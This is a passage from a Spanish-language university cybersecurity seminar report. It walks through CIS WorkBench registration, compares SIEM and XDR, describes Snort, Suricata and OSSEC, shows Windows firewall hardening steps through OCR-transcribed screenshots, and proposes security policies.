y equipos Blue Team a fortalecer sus defensas y a mitigar amenazas cibernéticas.
Las funciones principales de CIS incluyen:

- Desarrollo de Pautas de Seguridad: CIS crea y mantiene un conjunto de
pautas de seguridad conocido como "CIS Controls" (Controles CIS) y "CIS
Benchmarks" (Benchmarks CIS) que ofrecen directrices detalladas para
proteger sistemas y redes contra amenazas comunes.

17 SADVISOR. (05 de Septiembre de 2022). [Sitio Web] Security Advisor Su Defensa Digital. Obtenido de ¢Qué
es el Equipo de Respuesta ante Incidentes de Seguridad Informatica CSIRT? [consultado el 16 de Septiembre
2023]. Disponible en: https://sadvisor.com/que-es-el-csirt/
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- Investigacion de Amenazas: La organizacion realiza investigaciones sobre
amenazas emergentes y vulnerabilidades de seguridad para proporcionar
orientacion actualizada a la comunidad de seguridad cibernética.

- Capacitacion y Concientizacién: CIS ofrece capacitacion y concientizacion
en seguridad cibernética a través de recursos en linea, capacitacion en
persona y eventos de formacion.

- Evaluaciéon y Certificacion: CIS ofrece programas de certificacion para
profesionales de seguridad cibernética y herramientas de evaluacién de
seguridad para medir y mejorar la postura de seguridad de una organizacion.

Dentro de las actividades y recursos ofrecidos por el Center for Internet Security
(CIS), se pueden identificar varios enfoques o areas clave, lo que podrias considerar
como tipos de servicios o recursos proporcionados por CIS:

- CIS Controls: Los CIS Controls, anteriormente conocidos como "Critical
Security Controls," son un conjunto de mejores practicas de seguridad
cibernética disefiadas para ayudar a las organizaciones a protegerse contra
las amenazas mas comunes. Estos controles se dividen en diferentes
categorias y proporcionan pautas especificas para mejorar la seguridad de
la red y los sistemas.

- CIS Benchmarks: Los CIS Benchmarks son guias de configuracion
detalladas para sistemas y aplicaciones especificas. Estas guias
proporcionan instrucciones paso a paso sobre como configurar y endurecer
sistemas operativos, aplicaciones y dispositivos para reducir las superficies
de ataque y mejorar la seguridad.

- CIS SecureSuite: La CIS SecureSuite es una oferta de seguridad integral
que incluye acceso a los CIS Controls y CIS Benchmarks, asi como
herramientas y recursos adicionales para ayudar a las organizaciones a
evaluar y mejorar su postura de seguridad cibernética.

- Capacitacion y Concientizacion: CIS ofrece programas de capacitacion y
concientizacién en seguridad cibernética para ayudar a las organizaciones y
profesionales de seguridad a adquirir habilidades y conocimientos necesarios
para proteger sus sistemas y redes.

- Programas de Certificacion: CIS también ofrece programas de certificacion

en seguridad cibernética para profesionales que desean demostrar sus
habilidades y conocimientos en el campo de la ciberseguridad.
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CIS Workbench'® es un recurso tecnolégico donde es posible visualizar las
configuraciones, estandares y buenas practicas para la hardenizacion. por lo tanto,
ayudan a determinar cémo fortalecer los sistemas de hardening. Para tener acceso
a CIS Workbench es necesario tener una cuenta de la siguiente manera.

Ingresamos a la pagina https://workbench.cisecurity.org/ y damos en el boton
registrarse ahora (/lustracion 18)

@ CIS WorkBench

Everything we do at CIS is community-driven. Bring
E-Mail or Username your [T expertise to CIS WarkBench, where you can
netwiork and collaborate with cybersecurity
professionals around the world. Register now to help
draft configuration recommendations for the CIS
Password Benchmarks, submit tickets, and discuss best
practices for securing a wide range of technologies

#Logln ) Remember Me

@ Forgot Your Password?

@ leed Help?

CIS Terms of Use | Privacy Paolicy

-
G: ls Icr:t:‘r:lrnfluf:ecumy'

llustracion 18. Registro en CIS WorkBench

Fuente: Creacion propia del estudiante

Luego de eso ingresamos nuestros datos, aceptamos los términos y condiciones y
damos en el botdn registrar. (/lustracion 19)

18 Security, C. C. (s.f.). [Sitio Web] CIS WorkBench. Obtenido de workbench Cisecurity [consultado el 16 de
Septiembre 2023]. Disponible en: https://workbench.cisecurity.org/
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@ CIS WorkBench .
Email -

mishell022016@gmail.com
First Name Last Name
Mishell ‘

Rojas

Usernarﬁ\e Organization !: 1
mkrojas16 unad |
Password Confirm Password

i i

Password Requirements:

+ At least 14 characters
+ 1 uppercase character
* 1lowercase character
+ 1 number or 1 special character.

1 agree o the CIS Terms of Use and Privacy

™ Policy

recAPTCHA
Prracided - Candilanes &+ Register

Already a member? # Sign In

\/ No soy un robot

-
(crs Yy

llustracion 19. Registro de datos Login

Fuente: Creacion propia del estudiante

Al terminar el registro nos pedira una verificacion de nuestro email y después de
esto nos pedira los datos de ingreso. (llustracion 20)

@ CIS WorkBench

Everything we do at CIS is community-driven. Bring

Sl Yariesl i EEEa e e your [T expertise to CIS WorkBench, where you can

created network and collaborate with cybersecurity
l professionals around the world. Register now to help

draft configuration recommendations for the CIS

- —== 1 J
——O— R | (||

A Benchmarks, submit tickets, and discuss best
E-Mail or Username practices for securing a wide range of technaologies.
mkrojas16
Password
1)
A1/
' .............. @ Noad Help?

#Login (J Remember Me

@ Forgot Your Password?

CI Terms of Use | Privacy Policy

.
(CIS ot

llustracion 20. Ingreso y verificacion de correo

Fuente: Creacién propia del estudiante

Y con esto ya tendremos acceso a las referencias, archivos de descargas y foros
de la comunidad disponibles en CIS Workbench. (llustracion 21)
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@ CIS WorkBench

@ Communilies & Benchmarks # Tickels

Benchmarkse
Mishell Rojas
mkrojas16

& Dashboard

& Downloads

The listing below displays all the benchmarks you currently have access to

7 Support Center

@ Communities Search Status Al v m

& Banchmarks Al @

# Tickets
Title & Version 3 Status+ Community

(# Proposed Changes
@ | @ CIS * Microsoft Windows Server 2012 R2 Benchmark v1.0.0 [ @ CIS Microsoft Windows

& Downloads [imported] Benchmarks
& CIS AKS Optimized Azure Linux Benchmark wiNext @ CIS Azure Linux Benchmarks
@ | @ CIS AKS Oplimized Azure Linux Benchmark v1.00 [ZIZ) @ CiS Azure Linux Benchmarks
& CIS Alibaba Cloud Container Service For Kubemetes (ACK) vi1.0 @ CIS Kubernetes Benchmarks
Benchmark
& CIS Alibaba Cloud Container Service For Kubernetes (ACK) v1.00 (I @ CIS Kuberneles Benchmarks
Benchmark
& CIS Alibaba Cloud Foundation Benchmark vi10 @ CIS Alibaba Cloud Benchmarks
as | @ CIS Alibaba Cloud Foundalion Benchmark v1.00 X © cis Albaba Cloud Benchmarks
& CIS Alibaba Cloud Linux 3 Benchmark wiNext @ CIS Aliyun Linux Benchmarks
& CIS Alibaba Cloud Linux 3 Benchmark v1.1.0 @ CIS Aliyun Linux Benchmarks

Collections

& mkrojas16 ~

Owner

& bfrantz

& eric pinnell

& eric.pinnell

& rmowen

a
mvogelerpelerson
& mwicks

& mwicks

& eri
* Feedback
Lei }

llustracion 21. Acceso a CIS Workbench

Fuente: Creacion propia del estudiante

v Debera documentar mediante la elaboracion una tabla las diferencias
existentes entre: SIEM y XDR.

Aspecto SIEM*® XDR?0
Un SIEM es una soluciéon XDR es una solucion de
que recopila, correlaciona seguridad cibernética que
y analiza registros y amplia la funcionalidad
eventos de seguridad de de deteccion y respuesta

Definiciéon multiples fuentes para mas alla de la
proporcionar visibilidad y infraestructura de
alertas sobre amenazas seguridad tradicional,
de seguridad. incluyendo endpoints,

Alcance De Deteccion

Principalmente enfocado
en la deteccion vy
correlacion de eventos de
seguridad en logs vy
registros de dispositivos,
aplicaciones y sistemas.

redes y aplicaciones.

Ofrece deteccion
avanzada y andlisis de
amenazas que abarca
multiples vectores de
ataque, incluyendo
endpoints, redes, correo

19 IBM. (s.f.). [Sitio Web] IBM. Obtenido de ¢Qué es SIEM? [consultado el 16 de Septiembre 2023]. Disponible

en: https://www.ibm.com/mx-es/topics/siem

20 IBM. (s.f.). [Sitio Web] IBM. Obtenido de ¢Qué es XDR? [consultado el 16 de Septiembre 2023]. Disponible

en: https://www.ibm.com/es-es/topics/xdr
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Fuentes De Datos

Correlacion De Eventos

Respuesta A Incidentes

Visibilidad

Implementacion

Enfoque De Plataforma

Recopila datos de una
amplia gama de fuentes,
como firewalls, sistemas
de deteccion de
intrusiones (IDS/IPS),
registros de servidores,
logs de aplicaciones vy
mas.

Realiza correlacion de
eventos y alertas basada
en reglas predefinidas y
patrones de

comportamiento para
identificar posibles
amenazas.
Proporciona
funcionalidades basicas
para la gestion de
incidentes, como alertas y
notificaciones, pero
puede requerir
integraciones adicionales
para una respuesta
efectiva.

Ofrece visibilidad

limitada, principalmente a
nivel de eventos y alertas
de seguridad, con la
necesidad de
personalizacion y ajuste
fino.

Puede requerir una
implementacion compleja
y personalizacion
significativa para
adaptarse a las
necesidades especificas
de la organizacion.

Por lo general, no se
considera una plataforma
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electronico y cargas de
trabajo en la nube.

Adquiere datos de
multiples fuentes,
incluyendo endpoints,
sensores de red, registros
de eventos, correo
electronico y mas.

Utiliza técnicas

avanzadas de analisis y
correlacion para detectar
amenazas persistentes y
ataques sofisticados en
tiempo real.

Ofrece capacidades
avanzadas de respuesta

a incidentes, como la
automatizacion de
respuestas, la
orquestacion de
seguridad y la capacidad
de aislar  endpoints
comprometidos.

Proporciona una visién
mas completa y
contextual de la
infraestructura de

seguridad y las
amenazas en tiempo real,
facilitando la
comprensiéon de la
magnitud de un incidente.
Suele ofrecer una
implementacion mas
rapida y sencilla, ya que
integra multiples fuentes
de datos y proporciona
capacidades de analisis
avanzadas de manera
nativa.

Se concibe como una
plataforma unificada que



de seguridad integral, aborda de manera
sino mas bien wuna integral la deteccion,
herramienta de monitoreo respuesta y
y deteccidn. neutralizacion de
amenazas en toda la
organizacion.

Tabla 2. Diferencia ente SIEM y XDR

Fuente: Creacién propia del estudiante

Defina por lo menos 3 herramientas de deteccion de ataques
informaticos con licencia GPL.

Snort?l: Snort es una de las herramientas de deteccion de intrusiones de red
(NIDS) mas populares y ampliamente utilizadas. Funciona analizando el
trafico de red en busca de patrones de comportamiento y firmas de ataques
conocidas. Snort permite la deteccidon de una amplia variedad de amenazas,
incluyendo ataques de intrusion, malware y ataques de denegacion de
servicio (DoS). También es altamente personalizable y extensible a través de
reglas personalizadas.

Suricata??: Suricata es otra herramienta de deteccién de intrusiones de red
(NIDS) de codigo abierto que ofrece capacidades de analisis avanzado de
trafico de red. Esta diseiado para ser rapido y eficiente. Suricata es capaz
de realizar analisis en tiempo real de trafico de red en busca de amenazas,
incluyendo ataques de red y malware. Ofrece soporte para reglas de
deteccion personalizadas y es compatible con varios formatos de registro.

OSSEC?%: OSSEC es una plataforma de seguridad de codigo abierto que
combina deteccion de intrusiones, registro de seguridad, analisis de registro
y respuesta a incidentes en una sola solucion. Puede utilizarse tanto como
un sistema de prevencién de intrusiones de host (HIPS) como un sistema de
deteccion de intrusiones de host (HIDS). OSSEC monitorea y analiza
registros y eventos de seguridad en sistemas operativos y aplicaciones para
detectar comportamientos anémalos o posibles intrusiones. También ofrece

21 SNORT. (s.f.). [Sitio Web] SNOR. Obtenido de Firewall Snort [consultado el 16 de Septiembre 2023].

Disponible en: https://www.snort.org/

22 SURICATA. (s.f.). [Sitio Web] SURICATA. Obtenido de Firewall Suricata [consultado el 16 de Septiembre 2023].

Disponible en: https://suricata.io/

23 OSSEC. (s.f.). [Sitio Web] OSSEC. Obtenido de Firewall Ossec [consultado el 16 de Septiembre 2023].
Disponible en: https://www.ossec.net/
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capacidades de respuesta a incidentes, como notificaciones y ejecucion de
scripts personalizados.

6 Etapa 4 analisis blue team

Configuracion de Firewall de Windows

Para mitigar y prevenir el ataque que se obtuvo mediante el payload lo primero que
debemos hacer es habilitar el registro de paquetes descartados, esta una
configuracion en el firewall que determina si se debe registrar informacion sobre los
paquetes de red que son bloqueados o descartados por el firewall. Es importante
destacar que el registro de paquetes descartados puede proporcionar informaciéon
valiosa para la seguridad y el monitoreo de la red, también genera grandes
cantidades de datos. (/lustracion 22)
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& Windows Defender Firewall wit| Actions
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llustracion 22 habilitar el registro de paquetes descartados

Fuente: Creacién propia del estudiante
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Luego procedemos con desactivar la aplicacion de reglas locales y desactivar las
notificaciones que es una configuracion en el firewall que permite deshabilitar
temporalmente la aplicacion de reglas de seguridad locales y las notificaciones

asociadas. Esta configuracion puede reducir la seguridad de un sistema o red.
(llustracion 23)

Windows Defender Firewall with Advanced Security on Loc.., &

X ﬂ cows Defender Frawah wth Advinoad Secuty orides etwod secutyfor Wedo | i

Overview
Domain Profile
& Widaws Defender Frewsl i on.

,
(9 hound comechors tha do ot match e are Blocked.

¢ G Beftesh
© Outhoxrd comoctions it ok A A8 i Setings for the Domain Profe
Private Profile

© Wariows Dafarsiar Frawral i o Speciy sefinga hal canire Windrwn Deferder Firewal wih Advanced Secsrty
banavi

Public Profile is Active Frewal settrgs

& Wevdows Defindis Frewal s of. Dol cthctons e ot vhen 3 rogram i Hached o rceig

| Daplay a nonficaton

Fule merging

by local ed
through Greup Polcy. This seting can orly be appled by using Greu Poley.

Apply loca frewall s

Appiy el cormection securty nies:

ot
View current firewall and IPsec poli

llustracion 23 desactivar la aplicacion de reglas locales y desactivar las notificaciones

Fuente: Creacion propia del estudiante

Lo siguiente que hacemos es bloquear conexiones salientes por defecto, esto
configura sus reglas de forma predeterminada para bloquear todas las conexiones
que intentan salir de la red o del sistema, a menos que se especifique lo contrario
mediante reglas especificas de permisos. (/lustracion 24)

@
Fe Action View Hep
« =@ Bm

P CTT L T T indones Defnde Firewallwith Advanced Security on Local Computer ctions

T -
. * Weckes Defener Frewal wih Advarced Securty rovides newerk secury lor Wrvds

[ | Speoylogging seinge or -
W rouesoctng A

-]

=]

View curont fcowal and Poc palicy G (e

llustracién 24 bloquear conexiones salientes por defecto

Fuente: Creacion propia del estudiante
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Configuracion de las Reglas para Servicios Necesarios

Luego de haber bloqueado todas las conexiones salientes en el firewall debemos
realizar las configuraciones para todos los servicios necesarios para la compafia y
para esto debemos crear una regla customizada en el firewall de Windows.
(llustracion 25)

| W Hew Connection Secusity Rule Wizard *
e

Rule Type

Defandas Fi| Select e type of connection securty nle o creale

What type of conmedlion secury rule would you lie 1o create

© Isalation v
Flestnct comections based on authenocaon cifen, such a3 domain membership or
heath siatus.

) Muthentication excmption

00 ot uthertiate canmectons frmthe specied computers
) Serverto-server

Authertcete cormerton Setween the seced comper
O Tunnel

Auhertcele conmectons between two compters

Custom

Custom e

ke speciy how and h
fom corriechons. T show 8 corechon, creme an nbound or Cubou

llustracién 25 configuracién de reglas

Fuente: Creacién propia del estudiante

En la configuracion de la regla debemos colocar la IP del endpoint de entrada y de
salida que vamos a utilizar y a permitir el trafico a través del firewall. (/lustracion 26)

P New Connection Security Rule Wizard X

« | &[FE| 3 | Endpom=

IPsec.

Create a secured connection between computers in Endpoint 1 and Endpoint 2.

‘Which computers are in Endpoint 12 4

O Any IP adiress 4

@® These IP adchesses: »
Add

Custonize the nterface types to which this il appies Customze.

Which computers are in Endpoint 22
O Any IP address
@® These IP adchesses:

Add.

llustracién 26 Agregar las IP

Fuente: Creacion propia del estudiante
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Ademas de colocar las IP’s de los endpoing es necesario colocar un método de
autenticacion para los endpoints y seleccionamos la autenticacion tanto para los de
entrada como para los de salida. (/lustracion 27)

## New Connection Security Rule Wizard X

- || Requirements

When do you want authentication to occur?

@® Request i i i >

for
Authenticate whenever possible but authertication is not required.

© Requi nbound ion for
outbound connections

Inbound connections must be autherticated to be allowed. Qutbound cannections are
@ Name auhenticated whenever possible but authenfication is not required.

inbound and outbound
Both inbound and outbound cornections must be authenticated to be alloed.

O Do not authenticate
No conneetions wil be atherticated.

llustracion 27 Agregar autenticacion

Fuente: Creacion propia del estudiante

Por defecto Windows nos ofrece como método de autenticacion Kerberos V5 que
es el método de autenticacion que vamos a utilizar para la conexion del endpoint en
nuestra regla. (llustracion 28)

Wit athentcaton method wou you lka 1 use?
) Defanit
Use the autheticatn methada seched in Psac setings. s

(®) Computer and user (Kerberos VS5)

Rlesticl commuricatens o cornectons fom doman joned users and computers
and comp fes

() Computer (Kerberas V5)
Rlestnct commuricaions 1o cornecton from domain soned computers. Provides ety
formatian for i

) Advanced
‘Spachy custom first and second auterticaton setings

< >

llustracion 28 Seleccionar autenticacion

Fuente: Creacion propia del estudiante
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Y por ultimo seleccionamos los puertos que van a ser utilizados por el endpoint para
la conexion para que sean los puertos que van a estar abiertos para el trafico seguro.
(llustracion 29)

Protocol and Porte Endoort 1 pot

llustracion 29 Seleccion de puertos

Fuente: Creacion propia del estudiante

Ahora vamos a agregar excepciones a servicios basicos, como Windows Update y
Microsoft Defender para que permita el acceso y el funcionamiento ininterrumpido
de servicios criticos o esenciales, incluso cuando se aplican reglas de seguridad
mas estrictas.

Esta practica es importante al bloquear todas las peticiones salientes se puede
afectar negativamente el funcionamiento de servicios fundamentales o
actualizaciones de seguridad. (/lustracion 30)

w
ac
ac
Gc
@c

llustracion 30 Creacion de reglas de salida

Fuente: Creacién propia del estudiante
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En la siguiente ventana debemos colocar cual es el servicio al que se le va a permitir
el trafico, en este caso es svchost.exe pero también se debe hacer para el servicio
smartscreen.exe estos dos nos permiten evitar que se inhabiliten servicios como
Windows defender, Windows update, ntivirus Network Inspection Service, Antivirus
Network Inspection Service entre otros. (/lustracion 31)

File Action View Help
Bl

WP New Outbound Rule Wizard x

Program -

sy e full program path and executable rogram that this e maiches

llustraciéon 31 Se agregan los servicios
Fuente: Creacién propia del estudiante
Ahora seleccionamos el protocolo por el cual se va a hacer la conexion y los puertos

que se van a utilizar para no entorpecer el funcionamiento de los servicios de
Windows. (/lustracion 32)

To which ports and protocals does tha e 200k 7
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(ICMF) settings:

<k Sance

llustracién 32 Se configuran los puertos

Fuente: Creacion propia del estudiante
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Y por ultimo permitimos todas las conexiones para estos servicios. (/lustracién 33)
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llustracion 33 Se permiten las conexiones

Fuente: Creacion propia del estudiante
Loggin

Ademas de configurar las politicas del firewall, se debe realizar configuraciones en
el Audit Policy para tener un log de cada vez que se intente alguien loggearse en el
sistema sea que lo logre o que no logre hacerlo para poder tener alertas en el caso
de que alguien no logre acceder al sistema de forma repetida. (llustracion 34)
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llustracion 34 Audit Log

Fuente: Creacién propia del estudiante
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7 Etapa 5 socializaciéon de informe técnico

+ De qué manera pueden aportar en el campo de la ciberseguridad la
integracion de equipos blue team, red team y purple team al mismo
tiempo dentro de una organizacion.

La integracion de equipos Blue Team, Red Team y Purple Team en una organizacion
puede ser una estrategia efectiva para fortalecer la ciberseguridad y mejorar la
capacidad de deteccidn y respuesta ante amenazas cibernéticas. Cada equipo tiene
un papel especifico en este enfoque, y trabajar juntos puede mejorar la postura de
seguridad de la organizacion de varias maneras como, por ejemplo:

En la deteccion temprana de amenazas el equipo Blue Team se encarga de
monitorear y defender la red y los sistemas de la organizacion. Trabajando en
estrecha colaboracion con el equipo Red Team, pueden aprender de las tacticas y
técnicas utilizadas por los atacantes simulados. Esto les permite mejorar la
deteccion de amenazas y ajustar las defensas en funcién de las vulnerabilidades
identificadas durante los ejercicios de Red Team.

Durante la validacion de la efectividad de las defensas el equipo Red Team simula
ataques reales para evaluar la eficacia de las defensas de la organizacion. Al
hacerlo, pueden identificar debilidades en las politicas de seguridad, la
configuracion de sistemas y la capacitacion del personal. Trabajando con el equipo
Blue Team, se pueden corregir estas debilidades de manera proactiva.

La colaboracion entre los equipos Blue Team y Red Team permite un flujo constante
de informacion sobre las amenazas y las tacticas utilizadas en el mundo real. Esto
permite que el equipo Blue Team esté mejor preparado para identificar y responder
a amenazas en tiempo real y fomentando el aprendizaje continuo.

En la mejora de politicas y procedimientos la retroalimentacién constante entre los
equipos Blue Team y Red Team puede ayudar a la organizacion a desarrollar y
ajustar sus politicas y procedimientos de seguridad. Esto incluye la revision de
politicas de acceso, la gestidn de parches y actualizaciones, y la capacitacién del
personal en temas de seguridad.

El equipo Purple Team actua como intermediario entre los equipos Blue y Red. Su
funcién es coordinar los ejercicios, facilitar la comunicacion y asegurarse de que se
aprendan lecciones de cada ejercicio. El equipo Purple Team puede ayudar a definir
los objetivos del Red Team y garantizar que los Blue Team estén listos para
responder y tomar medidas correctivas.

La integracién de estos equipos fomenta una cultura de seguridad mas soélida dentro
de la organizacion. Los empleados aprenden a estar mas atentos a las amenazas
cibernéticas y a tomar medidas proactivas para proteger la informacion y los
sistemas de la empresa. Trabajar juntos en ejercicios de Red Team y Purple Team

75



ayuda a la organizacion a estar mejor preparada para gestionar incidentes de
seguridad reales. El personal de Blue Team adquiere experiencia en la deteccion y
respuesta a amenazas, lo que puede ser crucial en caso de un ciberataque real y
ayuda a estar preparado para cualquier incidente inesperado.

+ Plantee politicas de seguridad y recomendaciones para mejorar los
aspectos de ciberseguridad en cualquier organizacion en sus entornos
T.I.

El establecimiento de politicas de seguridad y la implementacion de
recomendaciones efectivas son fundamentales para mejorar la ciberseguridad en
cualquier organizacién en sus entornos de Tecnologias de la Informacién (Tl). A
continuacion, se presentan algunas politicas y recomendaciones:

v Politica de acceso y autenticacion: Dentro de las politicas de acceso y
autenticacién se establecen normas de cambio periddicos de contrasefas y
para la creacién de contrasefias mas fuertes y seguras ademas de la
implementacion de autenticacién multifactor (MFA/2FA) como un mandato
para el acceso a sistemas criticos y redes. Otro punto clave en las politicas
de acceso es la gestion de las cuentas de usuario, donde se establecen
procedimientos para agregar, modificar y deshabilitar las cuentas de manera
segura.

v" Politica de seguridad de datos: Las politicas de seguridad de datos
incluyen la clasificacion de datos para definir categorias y aplicar las medidas
de seguridad proporcionales a su sensibilidad, el cifrado de datos en reposo
y transito, especialmente en dispositivos moviles y en la nube. Ademas de
politicas de retencion de datos y directrices para el almacenamiento y
eliminacién segura de datos obsoletos.

v" Politica de seguridad de red: Las politicas de seguridad de rec incluyen la
implementacion de firewall y filtrado de contenido para proteger la red contra
las amenazas externas, la segmentacion de red para limitar el movimiento
lateral de los atacantes, el monitoreo de red para monitorizar y detectar
actividades sospechosas y alertar a tiempo.

v" Politica de gestion de parches y actualizaciones: La implementacion de

politicas de actualizacién regular para mantener los sistemas, aplicaciones y
dispositivos con los ultimos parches de seguridad, la creacién de programas
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de gestion de parchas para establecer pruebas y seguimiento de las
implementaciones de parches y evitar errores.

Politica de capacitacidon y concientizacion: Las politicas de capacitacidon
incluyen entrenamientos en seguridad para proporcionar capacitacion en
seguridad informatica a todos los empleados para reconocer amenazas y
practicas seguras, ademas la realizacién de pruebas de phishing simulado
para evaluar la preparacion de los empleados y brindar retroalimentacion.

Politica de gestion de incidentes: Los planes de respuesta a incidentes
incluyen los pasos a seguir, las notificacion y roles y responsables claros,
también el registro y reporte de incidentes que establecen los procedimientos
claros para la respuesta de manera oportuna, esto son parte de la politica de
gestion de incidentes.

Politica de terceros y proveedores: Dentro de las politicas de terceros se
establece la evaluacién de los proveedores para seleccionar los servicios
basados en su seguridad informatica y su infraestructura, ademas de la
inclusion de clausulas de seguridad en acuerdos contractuales con terceros.

Politica de gestion de dispositivos moviles: Politicas Bring Your Own
Device para la gestion segura de dispositivos personales que acceden a
recursos de la organizacion y controles de aplicaciones para limitar el uso de
aplicaciones no autorizadas en dispositivos corporativos.

Politica de auditoria y cumplimiento: Realizar auditorias regulares de
seguridad interna y externa para evaluar el cumplimiento de las politicas,
realizar seguimiento estableciendo procesos de correccion y evaluacion de
cumplimiento de politicas.

Politica de continuidad del negocio y recuperacion ante desastres:
Desarrollar planes de continuidad del negocio y de recuperacion ante
desastres para mantener la operatividad en caso de incidentes graves.

Conclusiones que orienten aspectos importantes en cuando a la
inversion de ciberseguridad dentro de las organizaciones, deben tener
en cuenta cada una de las etapas que se ejecutaron a lo largo del
seminario para poder ejecutar estas conclusiones y soportar a la alta
gerencia la necesidad de inversién.
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La ciberseguridad se ha convertido en una preocupacion critica para las
organizaciones en la era digital actual. Los ciberataques son cada vez mas
sofisticados y pueden causar dafios significativos en términos de pérdida de datos,
interrupcion de operaciones y dafio a la reputacion de la empresa. En este contexto,
el reciente curso dedicado a la ciberseguridad proporcioné informacion valiosa que
respalda la necesidad de inversiones estratégicas en esta area.

Uno de los aspectos mas destacados del seminario fue la realizacion de pruebas de
red team, una metodologia que simula ataques cibernéticos reales para evaluar la
seguridad de una organizacién. Durante estas pruebas, como expertos en
seguridad se recrearon situaciones en las que se encontraron vulnerabilidades
criticas. En particular, se identificaron fallas de seguridad relacionadas con la
escalada de permisos y el acceso remoto a un sistema Windows.

En el caso de la escalada de permisos, los atacantes potenciales lograron explotar
debilidades en la configuracion de privilegios de usuario para elevar sus permisos a
niveles mas altos de privilegio. Esto es especialmente peligroso, ya que permite a
un atacante acceder a informacioén sensible y realizar cambios en sistemas criticos.
Ademas, se detectaron vulnerabilidades en la gestion del acceso remoto a sistemas
Windows. Los atacantes demostraron la posibilidad de obtener acceso no
autorizado a través de métodos como la suplantacion de identidad (spoofing) y la
explotacion de debilidades en la autenticacion.

La respuesta del equipo Blue Team a estos hallazgos fue fundamental. Se
implementaron medidas de mitigacién inmediatas, como la mejora de las politicas
de seguridad, la implementacion de controles de acceso mas estrictos y la revision
de la gestidon de privilegios. Ademas, se establecié un sistema de monitoreo de
seguridad en tiempo real para detectar y responder a cualquier intento de escalada
de permisos 0 acceso no autorizado.

Un aspecto importante que se considerd en este proceso fue la revision de la
legislacion colombiana en materia de ciberseguridad, especificamente la Ley 1273
de 2009. Esta ley establece disposiciones relacionadas con la proteccion de la
informacion y la lucha contra los delitos informaticos en Colombia. Sirvié como base
legal solida para respaldar las politicas y practicas de seguridad cibernética
implementadas por la organizacidn, garantizando asi su cumplimiento con los
estandares legales locales.

En resumen, el curso y las pruebas de red team proporcionaron evidencia clara y
convincente de la necesidad de inversiones en ciberseguridad. Los hallazgos de
vulnerabilidades graves y las técnicas utilizadas en estos ataques simulados
subrayaron la urgencia de fortalecer la infraestructura de seguridad de la
organizacion. La implementaciéon de medidas de mitigacidén y respuesta, asi como
el cumplimiento de la legislacion colombiana pertinente, se convirtieron en pasos
criticos hacia la proteccion de activos y la conformidad con los estandares legales.
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Al presentar estas conclusiones respaldadas por pruebas concretas y analisis legal,
la alta gerencia estara mejor informada sobre la importancia de la inversion en
ciberseguridad y sera mas propensa a tomar decisiones que protejan los activos y
la reputacion de la organizacion.

+ Sustenta el desarrollo de cada uno de los puntos plasmados en guia de
la etapa 5 del seminario especializado mediante video.

Enlace del video de sustentacion: Sustentacion Etapa 5 Mishell Rojas.mp4

+ Resultado de prueba anti plagio

Enlace del resultando de Turnitin: Etapa 5 Turnitin.pdf
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https://unadvirtualedu-my.sharepoint.com/:v:/g/personal/mkrojasm_unadvirtual_edu_co/ES4ycfhlJDhOpbYrdxKGKm8BOOydVDkLFVnnunlBaDgz8Q?nav=eyJyZWZlcnJhbEluZm8iOnsicmVmZXJyYWxBcHAiOiJPbmVEcml2ZUZvckJ1c2luZXNzIiwicmVmZXJyYWxBcHBQbGF0Zm9ybSI6IldlYiIsInJlZmVycmFsTW9kZSI6InZpZXciLCJyZWZlcnJhbFZpZXciOiJNeUZpbGVzTGlua0RpcmVjdCJ9fQ&e=Ohdobi
https://unadvirtualedu-my.sharepoint.com/:b:/g/personal/mkrojasm_unadvirtual_edu_co/EcpS6CktAP1Npgd2LsXGCrABNapTaJxKoyW8ScN8zgx9Xw?e=WKorxe

Conclusiones

Durante el desarrollo del curso se abordaron una serie de aspectos relacionados
con la ciberseguridad y la proteccion de datos en Colombia. comenzando con una
revision de la legislacion colombiana, resaltando las leyes 1273 de 2009 y 1581 de
2012 que rigen la proteccion de datos y los delitos informaticos, junto con las
sanciones y la entidad reguladora. Luego, se exploraron temas como la ética en la
ciberseguridad, analisis de incidentes de cibercrimen y la importancia de una
respuesta efectiva a las amenazas cibernéticas.

En la segunda etapa, se evalué un acuerdo de confidencialidad y se destaca su
conformidad con la Ley 1581, sefialando deficiencias legales y éticas. También se
discutio el cumplimiento ético de aceptar contratos que violen los estandares éticos
y legales.

La tercera etapa involucro un ejercicio de Red Team para evaluar la seguridad de
una empresa y se subraya la importancia de mantener defensas actualizadas y
resilientes.

Finalmente, la cuarta etapa, se enfoca en la identificacién y respuesta a amenazas
cibernéticas, haciendo hincapié en la necesidad de seguir una serie de pasos clave.
También se menciona la utilidad de recursos como el Center for Internet Security
(CIS).
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Recomendaciones

Revision Legal Rigurosa: Antes de aceptar cualquier acuerdo de
confidencialidad o contrato, es fundamental llevar a cabo una revision
exhaustiva de sus términos y condiciones. Esto debe incluir la consulta con
expertos legales para asegurarse de que el acuerdo cumpla con todas las
leyes y regulaciones aplicables, especialmente en lo que respecta a la
proteccion de datos personales y la ciberseguridad.

Claridad en el Tratamiento de Datos: Los acuerdos de confidencialidad
deben definir de manera clara y especifica cdmo se manejaran los datos
personales, incluyendo como se recopilaran, almacenaran, procesaran y
protegeran. Deben seguir los principios establecidos en las leyes de
proteccion de datos pertinentes, como la Ley 1581 de Colombia.

Consentimiento Informado: Es imperativo obtener el consentimiento
informado de las personas cuyos datos personales se recopilaran y
procesaran. Esto debe ser una practica estandar y estar documentada de
acuerdo con la legislacion aplicable.

Derechos de los Titulares de Datos: El acuerdo debe establecer
explicitamente cdmo se respetaran y garantizaran los derechos de los
titulares de datos, incluyendo el acceso, rectificacion, actualizacion y
supresion de la informacion personal. Esto es fundamental para cumplir con
la Ley 1581.

Medidas de Seguridad: El acuerdo debe detallar las medidas de seguridad
técnicas, administrativas y fisicas que se implementaran para proteger la
informacion personal. Esto es esencial para cumplir con los requisitos de
seguridad establecidos en la legislacion.

Registro de Bases de Datos: Si corresponde, asegurese de que el acuerdo
contemple el registro de las bases de datos en el Registro Nacional de Bases
de Datos, como lo exige la Ley 1581 en Colombia.

Educacion en Seguridad Cibernética: Promueva la educacion en
seguridad cibernética tanto en la organizacion como entre los usuarios
finales. La prevencion es clave para evitar caer en estafas y fraudes
cibernéticos, como el caso de los codigos QR mencionados.

Denuncia de Delitos Cibernéticos: En caso de encontrar o ser victima de

un delito cibernético, se debe denunciar a las autoridades pertinentes y
proporcionar toda la informacion relevante para ayudar en la investigacion.
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Cumplimiento Etico: Como profesional en ciberseguridad, es esencial
seguir los principios éticos y legales establecidos por su organizacion y las
autoridades competentes. Si un acuerdo o contrato viola estos principios,
debe rechazarse y, si es necesario, denunciarse.

Actualizacion Constante: Manténgase actualizado sobre las Uultimas
